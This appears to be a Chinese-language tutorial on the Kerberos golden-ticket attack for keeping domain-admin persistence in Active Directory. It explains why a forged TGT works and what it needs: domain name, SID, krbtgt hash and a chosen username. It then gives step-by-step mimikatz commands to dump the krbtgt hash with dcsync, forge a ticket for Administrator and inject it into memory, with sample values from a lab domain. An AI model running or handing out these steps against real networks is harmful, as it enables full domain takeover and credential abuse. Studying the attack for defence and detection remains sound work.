用于拿下域控主机后的权限维持,krbtgt 账户的密码基本不会更改。 Client通过了第一次AS认证后,返回给TGT用于第二次认证,通过伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。
原理分析
kerberos第二次认证发送的KBR_TGS_REQ由二部分组成:Session-Key as 加密数据(timestamp、Client-info、Server-info)和TGT TGS并没有保存Session-Key as的值,因此可以随意构造Session-Key as,再利用krbtgt 用户的Hash对TGT进行伪造。
使用条件:
1、域名称 2、域的 SID 3、域的krbtgt账户的密码 hash 值 4、伪造的用户名,可以是任意用户,通常是administrator
利用过程
1、获取krbtgt账户 Hash 在域控主机上执行
mimikatz#lsadump::dcsync /domain:tide.org /user:krbtgt
域名称:tide.org域SID:S-1-5-21-1082813543-4064396809-3123302706 krbtgt账户hash:264d69c269433dacf814799a4e6e92e5
2、伪造黄金票据 在win7上使用mimikatz伪造黄金票据
kerberos::purge 清空票据缓存kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi
执行成功后生成了Administrator.kiribi文件 3、导入黄金票据 导入生成的黄金票据到内存中,获取域控权限。
kerberos::ptt Administrator.kiribi
使用klist命令查看缓存的票证。
|